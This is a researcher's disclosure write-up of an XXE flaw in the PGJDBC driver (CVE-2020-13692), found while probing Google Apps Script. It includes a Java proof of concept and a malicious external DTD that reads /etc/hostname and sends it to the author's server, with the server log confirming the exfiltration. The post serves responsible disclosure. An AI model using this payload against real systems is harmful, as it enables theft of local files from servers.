Discovering an XXE in Postgres (CVE-2020-13692)

While poking around Google looking for a good target for bug bounties, I started to look at Google Apps Script which is a Javascript based Lambda competitor (and one that was launched a long time ago). It supports using SQL to connect to a remote database, so I started poking around and saw that it supports a class called JdbcSQLXML which sounded like a good target for a potential XXE.

So I downloaded PGJDBC, the postgres implementation of Java’s JDBC API, to see whether or not its implementation of java.sql.SQLXML was vulnerable to an XXE. And surprisingly, it was! It implemented the getSource() method as below:

  public synchronized <T extends Source> T getSource(Class<T> sourceClass) throws SQLException {
    checkFreed();
    ensureInitialized();

    if (data == null) {
      return null;
    }

    try {
      if (sourceClass == null || DOMSource.class.equals(sourceClass)) {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        builder.setErrorHandler(new NonPrintingErrorHandler());
        InputSource input = new InputSource(new StringReader(data));
        return (T) new DOMSource(builder.parse(input));

This means that if the parameter sourceClass is null, it will use a default DocumentBuilder to parse the XML data that was retrieved from the database. So I created the below POC to try to exploit this XXE to steal a local file:

public class App {
    public static void main(String[] args) {
        try {
            PgSQLXML x = new PgSQLXML(null, "<!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"https://daviddworken.com/exfiltrate.dtd\"> %xxe;]>");
            x.getSource(null);
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}

Where exfiltrate.dtd is:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://daviddworken.com/?x=%file;'>">
%eval;
%exfiltrate;

When run, this worked exactly as expected and exfiltrated the contents of /etc/hostname (which on my test computer was dworken-x1) via HTTP:

May 18 18:05:32 Website caddy[2066]: 2020/05/18 18:05:32 206.189.167.245 - - [18/May/2020:18:05:32 +0000] "GET /?x=dworken-x1 HTTP/1.1" 200 6498

After confirming that this class was indeed vulnerable (and not documented anywhere as such), I went back to Google Apps Script to check whether I could use this exploit against Apps Script. And then I realized, Google doesn’t expose this method call to the Apps Script runtime! Maybe they already knew about this bug, or maybe they just were trying to minimize the surface area available to attackers, but they weren’t vulnerable.

Nonetheless, this was still a valid bug in PGJDBC which is a popular Java library used for interacting with Postgres in Java. So I reported it to Postgres’s security team who promptly fixed it and cut a new release. This vulnerability was assigned CVE-2020-13692.